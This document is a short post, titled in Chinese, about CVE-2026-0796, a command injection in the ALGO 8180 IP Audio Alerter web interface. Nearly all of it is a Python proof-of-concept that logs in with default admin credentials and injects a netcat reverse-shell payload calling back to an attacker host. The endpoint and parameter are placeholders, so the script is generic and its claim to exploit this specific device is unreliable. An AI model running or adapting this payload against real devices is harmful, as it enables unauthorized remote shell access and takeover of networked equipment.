CVE-2026-0796 ALGO 8180 IP Audio Alerter Web UI命令注入漏洞

#!/usr/bin/env python3 """ CVE-2026-0796 PoC - ALGO 8180 IP Audio Alerter Command Injection Note: This is a proof-of-concept for educational purposes only. """ import requests import sys def exploit(target_ip, target_port=80, username="admin", password="admin", lhost="attacker_ip", lport=4444): """ Exploit CVE-2026-0796: ALGO 8180 Command Injection Args: target_ip: Target device IP address target_port: Target web interface port (default: 80) username: Valid username for authentication password: Valid password for authentication lhost: Attacker listening IP for reverse shell lport: Attacker listening port for reverse shell """ base_url = f"http://{target_ip}:{target_port}" # Authentication session = requests.Session() login_data = { "username": username, "password": password } print(f"[*] Authenticating to {base_url}") response = session.post(f"{base_url}/login", data=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Command injection payload - reverse shell # The vulnerable parameter depends on specific endpoint payload = f"; nc -e /bin/sh {lhost} {lport} #" # Vulnerable endpoint - adjust based on actual device configuration exploit_data = { "param_name": payload, # Vulnerable parameter "submit": "Apply" } print(f"[*] Sending exploit payload to {base_url}/vulnerable/endpoint") print(f"[*] Payload: {payload}") try: response = session.post( f"{base_url}/vulnerable/endpoint", data=exploit_data, timeout=10 ) print("[+] Exploit sent - check for reverse shell") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [username] [password]") sys.exit(1) target = sys.argv[1] user = sys.argv[2] if len(sys.argv) > 2 else "admin" pwd = sys.argv[3] if len(sys.argv) > 3 else "admin" exploit(target, username=user, password=pwd)